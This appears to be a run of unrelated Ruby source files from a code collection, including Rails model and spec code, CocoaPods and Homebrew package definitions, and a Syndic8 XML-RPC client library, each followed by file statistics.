responses.first == "widowed" and responses.last == "your_pension_age_before_specific_date" PhraseList.new(:current_rules_and_additional_pension) #outcome 2 end end next_node do |response| if answers == [:widow] and response == "your_pension_age_after_specific_date" :what_is_your_gender? elsif answers == [:widow] and response == "your_pension_age_before_specific_date" :final_outcome else :when_will_your_partner_reach_pension_age? end end end #Q3 multiple_choice :when_will_your_partner_reach_pension_age? do option :partner_pension_age_before_specific_date option :partner_pension_age_after_specific_date calculate :answers do if responses.last == "partner_pension_age_before_specific_date" answers << :old3 elsif responses.last == "partner_pension_age_after_specific_date" answers << :new3 end answers end calculate :result_phrase do phrases = PhraseList.new if answers == [:old1, :old2, :old3] || answers == [:new1, :new2, :old3] || answers == [:new1, :old2, :old3] phrases << :current_rules_no_additional_pension #outcome 1 elsif answers == [:old1, :old2, :new3] phrases << :current_rules_national_insurance_no_state_pension #outcome 3 end phrases end next_node do |response| if (( answers == [:old1, :new2] or answers == [:new1, :new2] ) and response == 'partner_pension_age_after_specific_date') or (answers == [:old1, :new2] and response == 'partner_pension_age_before_specific_date') :what_is_your_gender? else :final_outcome end end end # Q4 multiple_choice :what_is_your_gender? do option :male_gender option :female_gender calculate :result_phrase do phrases = PhraseList.new if responses.last == "male_gender" phrases << :impossibility_to_increase_pension #outcome 8 else if responses.first == "widowed" #outcome 6 phrases << :married_woman_and_state_pension << :inherit_part_pension phrases << :married_woman_and_state_pension_outro else phrases << :married_woman_no_state_pension #outcome 5 end end phrases end next_node :final_outcome end outcome :final_outcome
29.034188
111
0.714454
2894dd809f2921029dd7de14620331ab2cb07812
1,622
# encoding: utf-8 # frozen_string_literal: true require 'thread' require_relative 'ec2_net_utils_helpers/ec2' require_relative 'ec2_net_utils_helpers/inspec' require_relative 'ec2_net_utils_helpers/instance' require_relative 'ec2_net_utils_helpers/interface' class EC2NetUtilsHelpers attr_reader :inspec, :instance, :interface class << self # # Iterate over every object in the instances index and tear it down. # def tear_down! instances.shift[1].interface.tear_down! while !instances.empty? end # # Keep a class-level index of all current test instances. # # @return [Hash] a hash of name => helper objects # def instances @instances ||= {} end # # Keep a class-level lock so interface constructions/destructions don't # tread on each other. # # @return [Mutex] a class-level mutex # def mutex @mutex ||= Mutex.new end end # # Configure our child helper classes. # # @param params [Hash] a params hash # def initialize(params) @inspec = ::EC2NetUtilsHelpers::Inspec.new(params) @instance = ::EC2NetUtilsHelpers::Instance.new(inspec: @inspec) @interface = ::EC2NetUtilsHelpers::Interface.new(instance: @instance) end # # Set up the secondary interface on the test instance. # def set_up! self.class.mutex.synchronize do interface.set_up! self.class.instances[instance.id] = self end end # # Bring down, detach, and delete the secondary interface. # def tear_down! self.class.mutex.synchronize do interface.tear_down! end end end
22.84507
75
0.682491
181f2818db778326faab141417cfe7aa8f96e55e
861
Pod::Spec.new do |s| s.name = "lucie_labs_vuitton" s.version = "0.4.30" s.summary = "iOS SDK for Lucie Labs Louis Vuitton platform interaction" s.homepage = "https://lucielabs.com" s.authors = "Lucie Labs" s.platform = :ios, "11.0" s.source = { :http => "https://specs.lucielabs.com/#{s.name}/#{s.version}/#{s.name}.zip" } s.license = { :type => "Commercial", :text => "Copyright Lucie Labs. All Rights Reserved." } s.vendored_frameworks = 'Frameworks/vuitton.framework' s.resource_bundles = { 'Firmware' => ['Assets/Firmware.bundle/*.{bin,json}'] } s.dependency "Bugsnag", "~> 6.8.4" s.dependency "SwiftyBeaver", "~> 1.9.5" s.swift_version = "5.1", "5.2", "5.3", "5.4" s.pod_target_xcconfig = { 'EXCLUDED_ARCHS[sdk=iphonesimulator*]' => 'arm64' } s.user_target_xcconfig = { 'EXCLUDED_ARCHS[sdk=iphonesimulator*]' => 'arm64' } end
47.833333
94
0.653891
33b80df3560d05d92dbebf7e10960b1d634850ac
331
# frozen_string_literal: true require "clowne/adapters/base/association" module Clowne module Adapters # :nodoc: all class ActiveRecord module Associations class Base < Base::Association private def init_scope association end end end end end end
16.55
42
0.613293
610dfaf85fd84f2112c37bd0899bbc0c1557f1c9
6,122
require File.expand_path(File.dirname(__FILE__) + '/../spec_helper') describe ApplicationController do def flash @flash ||= {} end def mock_object(*args) @mo ||= Object.new @mo.stub!(*args||{}) end describe 'mock_request' do before do @req=mock(:subdomain=>'') controller.stub!(:request).and_return(@req) @req.stub!(:url=>"gopher://www.example.com/") @req.stub!(:domain=>"www.example.com") controller.stub!(:params).and_return(flash) end describe 'authorize' do it 'should return true if authorized' do user=mock_user controller.should_receive(:current_user).and_return(user) user.should_receive(:authorized_for?).with('application').and_return(true) controller.send(:authorize).should == true end it 'should redirect and set a flash message if not authorized' do user=mock_user controller.should_receive(:current_user).and_return(user) user.should_receive(:authorized_for?).with('application').and_return(false) controller.should_receive(:not_authorized_url).and_return 'root_url' controller.should_receive(:redirect_to).with('root_url') controller.should_receive(:flash).and_return(flash) controller.send(:authorize).should == false flash[:notice].should == "You are not authorized to access that page" end end describe 'require_school' do it 'should redirect and set a flash message if there is no school when html' do controller.should_receive(:current_school).and_return("") controller.should_receive(:schools_url).and_return("schools_url") controller.should_receive(:redirect_to).with('schools_url') controller.should_receive(:flash).and_return(flash) @req.should_receive(:xhr?).and_return(false) controller.send(:require_current_school).should == false flash[:notice].should == "Please reselect the school" end it 'should put up a message when xhr and there is no school' do controller.should_receive(:current_school).and_return("") @req.should_receive(:xhr?).and_return(true) controller.should_receive(:render).with({:js=>"$('#flash_notice').prepend('<br />Please reselect the school.');"}) controller.send(:require_current_school).should == false end it 'should return true if there is a school' do controller.should_receive(:current_school).and_return("CURRENT") controller.send(:require_current_school).should == true end end it 'has selected_student session helkpers' do controller.stub!(:session=>{:selected_students=>[1,2,3]}) controller.send(:selected_student_ids).should == [1,2,3] controller.send('multiple_selected_students?').should == true controller.stub!(:session=>{:selected_students=>[1]}) controller.send('multiple_selected_students?').should == false end end describe 'check_student' do it 'should have specs' end describe "selected_student_ids" do def check_memcache #I don't know another way to check if a server is running Rails.cache.stats.values.compact.present? end before do @session = {:session_id => 'tree'} controller.stub!(:session => @session, :current_user => mock_user) end it 'memcache is required' do check_memcache.should be, "Memcache is not installed" end it 'should work normally with under <50 ids' do controller.send :selected_student_ids=, [1,2,3] controller.send(:selected_student_ids).should == [1,2,3] end it 'should cache when there are more than 50 ids' do pending "Test depends on memcache" unless check_memcache values = (1...1000).to_a controller.send :selected_student_ids=, values @session[:selected_students].should == "memcache" controller.send(:selected_student_ids).should == values controller.instance_variable_set "@memcache_student_ids", nil @session[:session_id] = "bush" controller.send(:selected_student_ids).should_not == values #if session_id changes controller.instance_variable_set "@memcache_student_ids", nil @session[:session_id] = "tree" controller.stub!(:current_user => User.new) controller.send(:selected_student_ids).should_not == values #if user changes end end describe 'check_domain' do before do @c = ApplicationController.new @req = ActionDispatch::TestRequest.new @c.request =@req #@c.set_current_view_context end it 'should return true for devise controller' do @c.should_receive(:devise_controller?).and_return true @c.send(:check_domain).should be_true end it 'should pass through if there is no current district' do @c.should_receive(:current_district).and_return nil @c.send(:check_domain).should be_nil end it 'should pass through if the current district matches the subdomain' do @c.stub!(:current_district=> mock_district(:abbrev => "test")) @c.should_receive(:current_subdomain).and_return "test" @c.send(:check_domain).should be_nil end it 'should pass through if the current district matches the subdomain but in different case' do #LH802 @c.stub!(:current_district=> mock_district(:abbrev => "TEST")) @c.should_receive(:current_subdomain).and_return "test" @c.send(:check_domain).should be_nil end it 'should sign out if the subdomain matches another district' do @c.stub!(:current_district=> mock_district(:abbrev => "test")) @c.stub!(:current_subdomain => "other") FactoryGirl.create(:district, :abbrev => "other") @c.should_receive(:sign_out) @c.should_receive(:redirect_to) @c.send(:check_domain).should be_false end it 'should pass theough if the subdomain matches no district' do @c.stub!(:current_district => mock_district(:abbrev => "test")) @c.stub!(:current_subdomain => "www") @c.send(:check_domain).should be_nil end end end
34.393258
122
0.680987
260723d5f76376fd941dc5910c176499a8d7e07b
1,969
# # Be sure to run `pod lib lint lottie-swift.podspec' to ensure this is a # valid spec before submitting. # # Any lines starting with a # are optional, but their use is encouraged # To learn more about a Podspec see https://guides.cocoapods.org/syntax/podspec.html # Pod::Spec.new do |s| s.name = 'lottie-ios' s.version = '3.2.3' s.summary = 'A library to render native animations from bodymovin json. Now in Swift!' s.description = <<-DESC Lottie is a mobile library for Android and iOS that parses Adobe After Effects animations exported as json with bodymovin and renders the vector animations natively on mobile and through React Native! For the first time, designers can create and ship beautiful animations without an engineer painstakingly recreating it be hand. Since the animation is backed by JSON they are extremely small in size but can be large in complexity! Animations can be played, resized, looped, sped up, slowed down, and even interactively scrubbed. DESC s.homepage = 'https://github.com/airbnb/lottie-ios' s.license = { :type => 'Apache', :file => 'LICENSE' } s.author = { 'Brandon Withrow' => '[email protected]' } s.source = { :git => 'https://github.com/airbnb/lottie-ios.git', :tag => s.version.to_s } s.swift_version = '5.0' s.ios.deployment_target = '9.0' s.osx.deployment_target = '10.10' s.tvos.deployment_target = '9.0' s.source_files = 'lottie-swift/src/**/*' s.ios.source_files = 'lottie-swift/iOS/*.swift' s.ios.exclude_files = 'lottie-swift/src/Public/MacOS/**/*' s.tvos.exclude_files = 'lottie-swift/src/Public/MacOS/**/*' s.osx.exclude_files = 'lottie-swift/src/Public/iOS/**/*' s.ios.frameworks = ['UIKit', 'CoreGraphics', 'QuartzCore'] s.tvos.frameworks = ['UIKit', 'CoreGraphics', 'QuartzCore'] s.osx.frameworks = ['AppKit', 'CoreGraphics', 'QuartzCore'] s.module_name = 'Lottie' s.header_dir = 'Lottie' end
46.880952
328
0.690706
18ab4c9e00a8db3a0381fd2201bde71fdf577de5
2,804
# frozen_string_literal: true class Team < ApplicationRecord # PlasmaでSSEする際にlistenするチャンネル # 認証の代わりに推測困難なIDを使う has_secure_token :channel # create時に生成されるためバリデーション無効 validates :channel, presence: true, on: :update validates :role, presence: true validates :beginner, boolean: true validates :number, presence: true, uniqueness: true validates :name, presence: true, uniqueness: true # dummy field validates :password, presence: true, length: { maximum: ActiveModel::SecurePassword::MAX_PASSWORD_LENGTH_ALLOWED }, if: :will_save_change_to_password_digest? validates :password_digest, presence: true validates :organization, allow_empty: true validates :color, presence: true, color_code: true validates :secret_text, allow_empty: true has_many :answers, dependent: :destroy has_many :penalties, dependent: :destroy has_many :attachments, dependent: :destroy has_many :first_correct_answers, dependent: :destroy # NOTE: JANOG47 NETCON では使用せず has_many :issues, dependent: :destroy has_many :notices, dependent: :destroy has_many :environments, dependent: :destroy, class_name: 'ProblemEnvironment' # 値が大きいほど大体権限が高い enum role: { staff: 10, audience: 5, player: 1 } after_commit :delete_session, on: %i[update], if: :saved_change_to_password_digest? attr_reader :password def delete_session Session.destroy_by(team_id: id) end def password=(value) return if value.blank? @password = value self.password_digest = BCrypt::Password.create(@password, cost: self.class.password_hash_cost) end def authenticate(plain_password) BCrypt::Password.new(password_digest).is_password?(plain_password) && self end # greater than or equal roles def gte_roles Team.roles.select {|_k, v| v >= self.role_before_type_cast }.keys end # less than or equal roles def lte_roles Team.roles.select {|_k, v| v <= self.role_before_type_cast }.keys end def team99? name == Team.special_team_name_team99 end class << self def password_hash_cost # test時は速度を優先 Rails.env.test? ? 1 : BCrypt::Engine.cost end def special_team_name_staff 'staff' end def special_team_name_team99 'team99' end def login(name:, password:) # ハッシュ計算は重いため計算を始める前にコネクションをリリースする Team .find_by(name: name) .tap { connection_pool.release_connection } &.authenticate(password) end def player_without_team99 # team99は毎回使われる特殊チーム player.where.not(name: special_team_name_team99) end # デバッグ用ショートハンド def number(number) self.find_by(number: number) end end end
27.490196
166
0.685449
4a31c6264256a1a864e4509c85b91b07f863bc2b
1,254
class RabbitmqC < Formula desc "RabbitMQ C client" homepage "https://github.com/alanxz/rabbitmq-c" url "https://github.com/alanxz/rabbitmq-c/archive/v0.10.0.tar.gz" sha256 "6455efbaebad8891c59f274a852b75b5cc51f4d669dfc78d2ae7e6cc97fcd8c0" license "MIT" head "https://github.com/alanxz/rabbitmq-c.git" bottle do cellar :any sha256 "6434a9100eeadfcd57d35fd31d1863d75b71ec163a3a1be29076c217712bda55" => :catalina sha256 "5f99c633ece8efad2ef2085955b22d0558d8fc2dedcac67b3ba8b58a2640c2c3" => :mojave sha256 "53d883744a185e5daab18c8bd18fd70fed56dd009cc507356f128663947c2453" => :high_sierra sha256 "4c472bd2e1a7fd4b14ed0c0bf8a5a9a2bbfec53a398e1738dc65848fc7a3b3e9" => :x86_64_linux end depends_on "cmake" => :build depends_on "pkg-config" => :build depends_on "[email protected]" depends_on "popt" def install system "cmake", ".", *std_cmake_args, "-DBUILD_EXAMPLES=OFF", "-DBUILD_TESTS=OFF", "-DBUILD_API_DOCS=OFF", "-DBUILD_TOOLS=ON" system "make", "install" if (lib/"x86_64-linux-gnu").directory? lib.install Dir[lib/"x86_64-linux-gnu/*"] rmdir lib/"x86_64-linux-gnu" end end test do system bin/"amqp-get", "--help" end end
33
94
0.710526
872af1fa57a13ab3d5b11d0b0b15fbd8fa86d1ad
21,974
####################################################################### # syndic8.rb - Ruby interface for Syndic8 (http://syndic8.com/). # # by Paul Duncan <[email protected]> # # # # Copyright (C) 2004 Paul Duncan # # # # Permission is hereby granted, free of charge, to any person # # obtaining a copy of this software and associated documentation # # files (the "Software"), to deal in the Software without # # restriction, including without limitation the rights to use, copy, # # modify, merge, publish, distribute, sublicense, and/or sell copies # # of the Software, and to permit persons to whom the Software is # # furnished to do so, subject to the following conditions: # # # # The above copyright notice and this permission notice shall be # # included in all copies of the Software, its documentation and # # marketing & publicity materials, and acknowledgment shall be given # # in the documentation, materials and software packages that this # # Software was used. # # # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF # # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY # # CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF # # CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION # # WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # ####################################################################### require 'xmlrpc/client' require 'md5' # # Syndic8 - Ruby bindings for the Syndic8 (http://syndic8.com/) XML-RPC # interface. # # Basic Usage: # require 'syndic8' # # # simple query # s = Syndic8.new # feeds = s.find('cooking') # feeds.each { |feed| p feed } # # # set number of results and fields returned # # (both can affect size and duration of query) # s.max_results = 10 # s.keys -= ['description'] # # feeds = s.find('linux') # feeds.each { |feed| p feed } # # Managing a Subscription List: # require 'syndic8' # # # log in to syndic8 with user "joebob" and password "p455w3rd" # s = Syndic8.new('joebob', 'p455w3rd') # # # create a new private list # list_id = s.create_subscription_list("Joebob's Links") # # # subscribe to pablotron.org on your subscription list # s.subscribe_feed(list_id, 'http://pablotron.org/rss/', false) # # # subscribe to NIF Health category on list # s.subscribe_category(list_id, 'NIF', 'Health') # # Using the Weblog Ping Service: # s = Syndic8.new # s.ping('Pablotron', 'http://pablotron.org/') # class Syndic8 attr_accessor :keys, :max_results VERSION = '0.2.0' # # Syndic8::Error - Simple wrapper for errors. # class Error < Exception def initialize(*args) super(*args) end end # # Create a new Syndic8 object. # Note: the username and password are optional, and only used for # certain (explicitly labeled) methods. # # Raises Syndic8::Error on error. # # Example: # # connect to syndic8 # s = Syndic8.new # # # connect to syndic8 with user 'joe' and password 'bob' # s = Syndic8.new('joe', 'bob') # def initialize(*args) @user, @pass = args @pass = MD5::new(@pass).to_s if @pass # set default options @keys = %w{sitename siteurl dataurl description} @max_results = -1 @sort_field = 'sitename' # connect to syndic8 begin @rpc = XMLRPC::Client.new('www.syndic8.com', '/xmlrpc.php', 80) rescue XMLRPC::FaultException => e raise Syndic8::Error, "XML-RPC: #{e.faultCode}: #{e.faultString}" end end # # Call an XML-RPC Syndic8 method and return the results, wrapping # any exceptions in a Syndic8::Error exception. # def call(meth, *args) begin meth_str = (meth =~ /\./) ? meth : 'syndic8.' << meth @rpc.call(meth_str, *args) rescue XMLRPC::FaultException => e raise Syndic8::Error, "XML-RPC: #{e.faultCode}: #{e.faultString}" rescue Exception raise Syndic8::Error, "Error: #$!" end end private :call # # Very simple find method, not included in the Syndic8 API. # Roughly equivalent to calling Syndic8#find_feeds, and passing the # result to Syndic8#get_feed_info. # # Raises Syndic8::Error on error. # # Example: # # return first Syndic8#max_results feeds on cooking # feeds_ary = s.find('cooking') # def find(str) feeds = call('FindFeeds', str, 'sitename', @max_results) (feeds && feeds.size > 0) ? call('GetFeedInfo', feeds, @keys) : [] end # # Returna list of feeds IDs matching a given search string, sorting # by +sort_field+. # # Raises Syndic8::Error on error. # # Example: # ids = s.find_feeds 'poop' # def find_feeds(str, sort_field = @sort_field, max_results = @max_results) call('FindFeeds', str, sort_field, max_results) end # # Matches the given pattern against against the SiteURL field of every # feed, and returns the IDs of matching feeds. # # Raises Syndic8::Error on error. # # Example: # ids = s.find_sites 'reader.com' # def find_sites(str) call('FindSites', str) end # # Matches the given pattern against all text fields of the user list, # and returns user IDs of matching users. # # Raises Syndic8::Error on error. # # Example: # user_ids = s.find_users 'pabs' # def find_users(str) call('FindUsers', str) end # # Returns an array of the supported category schemes. # # Raises Syndic8::Error on error. # # Example: # schemes = s.category_schemes # def category_schemes call('GetCategorySchemes') end # # Returns the top-level category names for the given scheme. # # Raises Syndic8::Error on error. # # Example: # roots = s.category_roots # def category_roots(str) call('GetCategoryRoots', str) end # # Returns the set of known categories for the given category scheme. # # Raises Syndic8::Error on error. # # Example: # trees = s.category_trees # def category_tree(str) call('GetCategoryTree', str) end # # Returns the immediate child categories of the given category. # # Raises Syndic8::Error on error. # # Example: # kids = s.category_children(scheme, category) # def category_children(scheme, category) call('GetCategoryChildren', scheme, category) end # # Accepts a start date, and optionally an end date, an array of fields # to check, and a list of fields to return. It checks the change log for # the feeds, and returns the requested feed fields for each feed where # a requested field has changed. # # If end_date is unspecified or nil, it defaults to today. # check_fields is nil or unspecified, it defaults to all fields. If # ret_fields is nil or unspecified it defaults to @keys. # # Raises Syndic8::Error on error. # # Example: # # return a list of feeds that have changed since December 1st, # # 2003 # changed_ary = s.changed_feeds(Time::mktime(2003, 12, 1)) # # # Return a list of URLs of feeds that have changed descriptions # # since the beginning of the month # t = Time.now # changed = s.changed_feeds(Time::mktime(t.year, t.month), Time::now, # ['description'], ['siteurl']) # def changed_feeds(start_date, end_date = nil, check_fields = nil, ret_fields = nil) start_str = start_date.strftime('%Y-%m-%d') end_str = (end_date || Time.now).strftime('%Y-%m-%d') check_fields ||= fields ret_fields ||= @keys call('GetChangedFeeds', check_fields, start_str, end_str, ret_fields) end # # Returns the number of feeds that are in the Syndic8 feed table. # # Raises Syndic8::Error on error. # # Aliases: # Syndic8#size # # Example: # num_feeds = s.size # def feed_count call('GetFeedCount').to_i end alias :size :feed_count # # Get a list of fields returned by Syndic8. # # Raises Syndic8::Error on error. # # Example: # fields = s.fields # def fields call 'GetFeedFields' end # # Returns an array of arrays containing the requested fields for each # feed ID. Field names and interpretations are subject to change. # # Raises Syndic8::Error on error. # # Example: # # get info for given feed IDs # info_ary = feed_info(ids) # def feed_info(feed_ids, fields = @keys) call('GetFeedInfo', feed_ids, fields) end # # Returns an array of feeds IDs in the given category within the given # scheme. # # Raises Syndic8::Error on error. # # Example: # # get a list of feeds IDs in the NIF Health category # ids = s.feeds_in_category('NIF', 'Health') # def feeds_in_category(scheme, category) call('GetFeedsInCategory', scheme, category) end # # Returns a hash of valid feed states and descriptions. # # Raises Syndic8::Error on error. # # Example: # feed_states = s.states # def states call('GetFeedStates').inject({}) { |ret, h| ret[h['state']] = h['name'] } end # # Returns the highest assigned feed ID. # # Raises Syndic8::Error on error. # # Example: # last_id = s.last_feed # def last_feed call('GetLastFeed') end # # Returns an array of hashes. Each structure represents a single type # of feed license. # # Raises Syndic8::Error on error. # # Example: # licenses = s.licenses # def licenses call('GetLicenses') end # # Returns an array of the supported location schemes. # # Raises Syndic8::Error on error. # # Example: # loc_schemes = s.location_schemes # def location_schemes call('GetLocationSchemes') end # # Returns a hash of of toolkits known to Syndic8. # # Raises Syndic8::Error on error. # # Example: # toolkits = s.toolkits # def toolkits call('GetToolkits').inject({}) { |ret, h| ret[h['id']] = ret['name'] } end # # Accepts the UserID of a known Syndic8 user and returns a structure # containing all of the information from the users table. Field names # and interpretations are subject to change. # # Raises Syndic8::Error on error. # # Example: # info = s.user_info('pabs') # def user_info(user) call('GetUserInfo', user) end # # Takes the given feed field, relationship (<, >, <=. >=, !=, =, like, # or regexp), and feed value and returns the list of feeds with a # matching value in the field. # # Raises Syndic8::Error on error. # # Example: # feed_ids = s.query_feeds('description', 'regexp', 'poop') # def query_feeds(match_field, operator, value, sort_field) call('QueryFeeds', match_field, operator, value, sort_field) end # # Sets the feed's category within the given scheme. # # Note: You must be logged in to use this method, and your account # must have the Categorizer role. # # Raises Syndic8::Error on error. # # Example: # s.set_feed_category(id, 'Syndic8', 'Culture') # def set_feed_category(feed_id, cat_scheme, cat_value) call('SetFeedCategory', @user, @pass, feed_id, cat_scheme, cat_value) end # # Sets the feed's location within the given location scheme. # # Note: You must be logged in to use this method, and your account # must have the Categorizer role. # # Raises Syndic8::Error on error. # # Example: # s.set_feed_location(id, 'Geo-IP', 'asdF') # def set_feed_location(feed_id, loc_scheme, loc_value) call('SetFeedLocation', @user, @pass, feed_id, loc_scheme, loc_value) end # # Sets a user's location to the given value. # # Note: You must be logged in to use this method, and your account # must have the Editor role. # # Raises Syndic8::Error on error. # # Example: # s.set_user_location(user_id, 'Kentucky, USA') # # def set_user_location(user_id, location) call('SetUserLocation', @user, @pass, user_id, location) end # # Checks to see if data_url is that of a known feed. If it is not, the # feed is entered as a new feed. In either case, a feed ID is returned. # # Note: You must be logged in to use this method. # # Raises Syndic8::Error on error. # # Example: # s.suggest_data_url('http://pablotron.org/rss/') # def suggest_data_url(data_url) call('SuggestDataURL', data_url, @user) end # # Checks to see if site_url is that of a known feed. If it is not, the # feed is entered as a new feed. In either case, a feed ID is returned. # # Note: You must be logged in to use this method. # # Raises Syndic8::Error on error. # # Example: # s.suggest_site_url('http://pablotron.org/') # def suggest_site_url(site_url) call('SuggestSiteURL', site_url, @user) end # # Sends notification of a change at the given site. # # Raises Syndic8::Error on error. # # Example: # s.ping('Pablotron', 'http://pablotron.org/') # def ping(site_name, site_url) call('weblogUpdates.Ping', site_name, site_url) end # # Sends notification of a change at the given site. # # Raises Syndic8::Error on error. # # Example: # s.ping('Pablotron', 'http://pablotron.org/', 0, 'http://pablotron.org/rss/') # def extended_ping(site_name, site_url, unknown, data_url) call('weblogUpdates.ExtendedPing', site_name, site_url, unknown, data_url) end # # Creates a new subscription list for the given user, and returns the # List identifier of the list. # # Note: You must be logged in and using the PersonalList option in # order to use this method. # # Raises Syndic8::Error on error. # # Examples: # # create a new private list called 'foo-private' # id = s.create_subscription_list('foo-private') # # # create a new public list called 'Cool_Sites' # id = s.create_subscription_list('Cool_Sites', true) # def create_subscription_list(list_name, public = false) call('CreateSubscriptionList', @user, @pass, list_name, public).to_i end # # Creates a new subscription list for the given user. The list will # contain feeds referenced from the given HTML page. If AutoSuggest is # given, unknown feeds will be automatically suggested as new feeds. # # Returns an array of hashes with ID, feed ID, and status code. # # Note: You must be logged in and using the PersonalList option in # order to use this method. # # Raises Syndic8::Error on error. # # Example: # ary = s.create_subscription_list_from_html('pablotron_feeds', true, 'http://pablotron.org/', true) # def create_subscription_list_from_html(list_name, public, html_url, auto_suggest) call('CreateSubscriptionListFromHTML', @user, @pass, list_name, public, html_url, auto_suggest) end # # Creates a new subscription list for the given user. The list will # contain the feeds from the given OPML. If AutoSuggest is given, # unknown feeds will be automatically suggested as new feeds. # # Returns an array of hashes, each with ID (from OPML), feed ID, and # status code. # # Note: You must be logged in and using the PersonalList option in # order to use this method. # # Raises Syndic8::Error on error. # # Example: # ary = s.create_subscription_list_from_opml('raggle feeds', true, 'http://pablotron.org/download/feeds.opml', true) # def create_subscription_list_from_opml(list_name, public, opml_url, auto_suggest) call('CreateSubscriptionListFromOPML', @user, @pass, list_name, public, opml_url, auto_suggest) end # # Ceates a new Syndic8 user. Returns true on success or false on # failure. # # Note: You must be logged in and have the CreateUser option in # order to use this method. # # Raises Syndic8::Error on error. # # Example: # success = s.create_user('mini-pabs', 'Mini', 'Pabs', '[email protected]', '', 'PersonalList', true, 'http://mini.pablotron.org/', '', '') # def create_user(user_id, first_name, last_name, email, pass, roles, options, email_site_info, home_page, style_sheet, vcard) call('CreateUser', @user, @pass, user_id, first_name, last_name, email, pass, roles, options, email_site_info, home_page, style_sheet, vcard).to_i == 1 end # # Deletes the indicated subscription list. All feeds and categories # will be removed from the list. Returns true on success or false on # failure. # # Note: You must be logged in and using the PersonalList option in # order to use this method. # # Raises Syndic8::Error on error. # # Example: # # create and then immediately delete list # id = s.create_subscription_list('Cool_Sites', true) # s.delete_subscription_list(id) # def delete_subscription_list(list_id) call('DeleteSubscriptionList', @user, @pass, list_id).to_i == 1 end # # Returns the set of feeds that the user is subscribed to both # directly (as feeds) and indirectly (via a category of feeds). # # Note: You must be logged in and using the PersonalList option in # order to use this method. # # Raises Syndic8::Error on error. # # Example: # feeds = s.subscribed(list_id) # def subscribed(list_id, field_names = nil) call('GetSubscribed', @user, @pass, list_id, field_names) end # # Returns the set of categories that the user is subscribed to, as an # array of hashes containing schemes and categories. # # Note: You must be logged in and using the PersonalList option in # order to use this method. # # Raises Syndic8::Error on error. # # Example: # cats = s.subscribed_categories(list_id) # def subscribed_categories(list_id) call('GetSubscribedCategories', @user, @pass, list_id) end # # Returns the list of subscription lists for the given user. Each # hash includes the list id, name, and status (public or # private). # # Note: You must be logged in and using the PersonalList option in # order to use this method. # # Raises Syndic8::Error on error. # # Example: # listss = s.subscribion_lists(list_id) # def subscription_lists call('GetSubscriptionLists', @user, @pass) end # # Changes values stored for a list. The new_values hash argument must # contain new values for the items (name, public, etc.) # # Note: You must be logged in and using the PersonalList option in # order to use this method. # # Raises Syndic8::Error on error. # # Example: # # create a list 'Cool_Sites', then rename it to 'Dumb_Sites' # id = s.create_subscription_list('Cool_Sites', true) # s.set_subscription_list_info(id, {'name' => 'Dumb_Sites'} # def set_subscription_list_info(list_id, new_values) call('SetSubscriptionListInfo', @user, @pass, list_id, new_values) end # # Subscribes the user's given list (0 is the public list) to the given # category of feeds. # # Note: You must be logged in and using the PersonalList option in # order to use this method. # # Raises Syndic8::Error on error. # # Example: # # create a new Gadgets list and subscribe to the # # NIF PDA list # list_id = s.create_subscription_list('Gadgets', true) # s.subscribe_category(list_id, 'NIF', 'PDA') # def subscribe_category(list_id, cat_scheme, cat) call('SubscribeCategory', @user, @pass, cat_scheme, cat, list_id) end # # Subscribes the user's given list (0 is the public list) to the given # feed. The user must have the PersonalList option. If a DataURL is # given and AutoSuggest is true and the feed is not known, it will be # suggested as if by entered by user ID. # # Note: You must be logged in and using the PersonalList option in # order to use this method. # # Raises Syndic8::Error on error. # # Example: # # subscribe to pablotron.org on the public list, and suggest it if # # Syndic8 doesn't already know about it # s.subscribe_feed(0, 'http://pablotron.org/rss/', true) # def subscribe_feed(list_id, feed_id, auto_suggest) call('SubscribeFeed', @user, @pass, feed_id, list_id, auto_suggest) end # # Unsubscribes the user from the given category of feeds within the # list. # # Note: You must be logged in and using the PersonalList option in # order to use this method. # # Raises Syndic8::Error on error. # # Example: # s.unsubscribe_category(0, 'NIF', 'Health') # def unsubscribe_category(list_id, cat_scheme, cat) call('UnSubscribeCategory', @user, @pass, cat_scheme, cat, list_id) end # Unsubscribes the user from the given feed within the list. # # Note: You must be logged in and using the PersonalList option in # order to use this method. # # Raises Syndic8::Error on error. # # Example: # s.unsubscribe_feed(0, feed_id) # def unsubscribe_feed(list_id, feed_id) call('UnSubscribeFeed', @user, @pass, feed_id, list_id) end end ############# # test code # ############# if __FILE__ == $0 class String def escape gsub(/"/, '\\"') end end search_str = ARGV.join(' ') || 'cooking' # This test code is slightly dated, but still works correctly. at # some point I should make it a bit more comprehensive :D begin s = Syndic8.new s.keys -= ['description', 'siteurl'] feeds = s.find(search_str) feeds.each do |feed| puts '"' + s.keys.map { |key| feed[key].escape }.join('","') + '"' end rescue Syndic8::Error => e puts 'Error:' + e.to_s end end
28.390181
155
0.64813
5d9ef1035cc01eafd9e65cceee7f2dd8080b80f6
219
# frozen_string_literal: true require_relative '../item' class LegendaryItem < Item def update update_sell_in update_quality end def update_sell_in nil end def update_quality nil end end
11.526316
29
0.712329
bf1992290910b42f6c846fbcda12f1b82bfc354e
296
cask 'macbreakz' do version :latest sha256 :no_check url 'http://www.publicspace.net/download/MacBreakZ5.dmg' appcast 'http://www.publicspace.net/app/signed_mb5.xml' name 'MacBreakZ' homepage 'http://www.publicspace.net/MacBreakZ/' license :commercial app 'MacBreakZ 5.app' end
22.769231
58
0.736486
1d6a247d4bb0e5933c1c47aef54ab1cce4b00df4
1,424
